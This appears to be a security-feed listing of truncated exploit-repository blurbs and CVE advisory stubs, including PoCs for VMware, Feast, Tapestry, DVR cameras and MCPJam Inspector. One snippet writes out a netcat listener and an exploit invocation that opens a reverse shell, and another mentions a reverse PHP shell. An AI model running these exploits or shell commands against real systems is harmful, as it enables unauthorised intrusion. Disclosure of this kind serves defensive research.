CVE-2024-40275_Scanner

CVE-2024-40725 扫描器 一个基于 Python 的检测工具，用于 CVE-2024-40725 ，这是一个影响 2.4.0 和 2.4.61 版本的 Apache HTTP Server 源代码泄露漏洞。 法律声明： 仅可对您拥有或已获得明确书面授权进行测试的服务器运行此扫描器。未经授权使用可能违反计算机欺诈法律（例如 CFAA、Computer Misuse Act）。 背景 CVE-2024-40725 是 Apache 内部请求管道中的一个回归问题，该问题在 2.4.0 版本中引入（是对 CVE-2024-39884 的不完整修复）。当服务器使用旧式 AddType...

CVE-2026-63563

CVE-2026-63563 - Sharp MX/BP 多功能打印机上的未认证通讯录修改 厂商公告： Sharp 产品安全公告 2026-004（发布于 2026 年 7 月 31 日） 概要 Sharp MX/BP 系列多功能打印机在默认配置下通过设备 Web 界面暴露通讯录，且无需任何认证。远程未认证攻击者可以查看并修改已配置的扫描目标（如 SMB 网络文件夹、FTP、桌面和电子邮件），而无需知道或替换存储的凭据。 存在两个主要的攻击向量，分别导致： 1. 凭据窃取 ：将现有扫描目标重定向到攻击者控制的基础设施，导致打印机使用存储的账户向该基础设施进行认证（前提是设备联网）。 2...

netgear-telenetenable

telnetenable.py Paul Gebheim 翻译自以下网址提供的 C 语言源代码： http://wiki.openwrt.org/oldwiki/openwrtdocs/hardware/netgear/telnetconsole 运行： python telnetenable.py IP - 你的 Netgear 设备的 IP 地址，通常为 192.168.1.1 MAC - MAC 地址应为你的 Netgear 设备 LAN 端口的 MAC 地址，不含 ":"。例如："00:40:5E:21:14:4E" 应写成 "00405E21144E"。 Username -...

hekate

Hekate - VMWare Workspace ONE Access 远程代码执行漏洞利用 奇虎360漏洞研究所的 Steven Seeley 原始恶意 MySQL 服务器由 LandGrey 提供 Details Hekate 的发音为 heh-ka-teh 日期：2022年2月22日 星期二 13:37:00 CST 版本：21.08.0.1（最新） 文件：identity-manager-21.08.0.1-19010796OVF10.ova 文件 SHA1：69e9fb988522c92e98d2910cc106ba4348d61851...

Wordpress-Default-Password

Wordpress 默认用户名/密码 python 2.7 捐赠 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614 由 Azim 加密 !...

CVE-2026-56121_exploit

CVE-2026-56121 — Feast Registry Unauthenticated RCE dill.loads 在 Feast 特征存储的 注册中心 gRPC 服务器 中存在未授权远程代码执行漏洞。 ApplyFeatureView RPC 会从请求的 proto 中重建一个 OnDemandFeatureView。在此过程中，它会对 spec.userdefinedfunction.body 进行 base64 解码，并将其传递给 dill.loads — 且发生在任何授权检查之前 。dill 是 pickle 的超集，因此如果一个对象的 reduce 返回...

CVE-2026-20169

IoT-FND 概述 功能 网络发现 扫描器检查指定的IP范围，寻找暴露预期管理服务的设备。 示例检查： IP范围枚举 TCP端口可用性测试 服务发现 基本连接验证 Windows原生实现 使用原生Windows API构建： WinINet WinHTTP Winsock Windows网络库 无需外部框架。 工作原理 研究流程： root@kitploit: Target IP Range | v Port Discovery | v Management Service Detection | v Authentication Testing | v Security...

CVE_2021_27850_POC

命令使用 root@kitploit: git clone https://github.com/Ovi3/CVE202127850POC.git cd CVE202127850POC/ gradlew runnbaleJar java -jar ./build/libs/CVE202127850POC-1.0-SNAPSHOT.jar Usage: java TapestryExploit Tapestry Key DNS URL java TapestryExploit Tapestry Key CB2 Command 假设 hmac key为 change this...

Tool_Exploit_Password_Camera_CVE-2018-9995

ToolExploitPasswordCameraCVE-2018-9995 CVE-2018-9995: https://vulners.com/cve/CVE-2018-9995 1. 在Google上搜索存在漏洞的设备，关键词：intitle:"DVR login". 2. 尝试访问任意设备： 我们发现设备要求输入用户名和密码才能访问。 3. 尝试检查是否能获取设备的用户名和密码： 我们将设备的对应IP和端口输入到工具中。 4. 存在漏洞的设备： 我们获取了设备对应的用户名和密码。 5. 结果： 我们使用从工具获取的用户名和密码成功登录了设备。...

CVE-2019-15813

CVE-2019-15813 此容器用于解释并演示 CVE-2019-15813（Sentrifugo 的工作原理） Sentrifugo V3.2 Sentrifugo 是一个人力资源管理系统 如何安装 docker-compose up 默认测试凭据 ----超级管理员---- 用户名：empp0001 密码：5faa7bdf3d7af ---员工---- 用户名：EMPP123 密码：bygedupub --反向 PHP Shell-- 解压 resume.zip（因 Windows Defender 可能删除该文件而打包） 编辑 IP 地址和端口...

ktor-xxe-poc

CVE-2023-45612: JetBrains Ktor XXE 概念验证 本仓库包含一个存在漏洞的 Ktor 服务器，用于演示 CVE-2023-45612 中识别的 XML 外部实体 XXE 注入漏洞。 该漏洞存在于 2.3.5 之前的 Ktor 版本中，当 ContentNegotiation 插件与默认的 xml 序列化器一起使用时。默认的 XML 解析器未配置为防止外部实体的解析，从而允许攻击者读取服务器上的任意文件。 以下部分是在您自己环境中重现该漏洞利用的步骤。 前提条件 我在本 PoC 中使用的版本： IntelliJ IDEA 2025.2.3 JDK 21...

craftcms-vcard-exploit

Craft CMS vCard 插件反序列化漏洞 Craft CMS 有一个使用 .vcf 文件格式下载联系人的插件，名为 "vCard"。该插件可以在 Craft 的仓库和 Github 上查看： Craft Plugin Store Github 描述 该插件接收客户端发送的一个参数，用 openssldecrypt 解密该值，然后将得到的字符串放入 PHP 的 unserialize 函数。由于加密的默认 salt 在仓库中可见，攻击者可以使用相同的逻辑来加密恶意序列化载荷。 如果用户在插件设置中配置了修改过的 "salt" 值，则需要将其作为参数提供给 Python...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...

CVE-2025-63353

CVE-2025-63353 PoC - FiberHome HG6145F1 可预测的默认 Wi-Fi PSK 面向 CVE-2025-63353 的教育性研究工具包和多语言 PoC，这是一个影响 FiberHome HG6145F1 RP4423 GPON ONT 设备的严重可预测默认 PSK 漏洞。 摘要 受影响的 FiberHome HG6145F1 设备上的出厂默认 Wi-Fi 预共享密钥是广播 SSID 的确定性函数。攻击者只要观察到来自易受害设备的信标帧，就能在恒定时间内推导出 WPA2 PSK，无需捕获握手包、无需字典、无需 GPU，也无需与客户端交互。 对于广播 SSI...

TeamFiltration Campaign Compromises Seven Microsoft 365 Accounts Using Default Passwords

Cybersecurity researchers have disclosed details of an active TeamFiltration campaign codenamed UNKCondorFiltration that has targeted over 5,700 accounts across 28 Microsoft 365 tenants. According to Proofpoint, the activity has primarily focused on Chilean retail and financial institutions. It...

Linux Distros Unpatched Vulnerability : CVE-2026-86246

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including...

CVE-2026-86246

Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOWCLIENTRENEGOTIATION, NOEXTENDEDMASTERSECRET, IGNOREUNEXPECTEDEOF and ALLOWNODHEKEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, fr...

UBUNTU-CVE-2026-86246

Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOWCLIENTRENEGOTIATION, NOEXTENDEDMASTERSECRET, IGNOREUNEXPECTEDEOF and ALLOWNODHEKEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, fr...

CVE-2026-86246

Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOWCLIENTRENEGOTIATION, NOEXTENDEDMASTERSECRET, IGNOREUNEXPECTEDEOF and ALLOWNODHEKEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, fr...

DEBIAN-CVE-2026-86246

Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOWCLIENTRENEGOTIATION, NOEXTENDEDMASTERSECRET, IGNOREUNEXPECTEDEOF and ALLOWNODHEKEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, fr...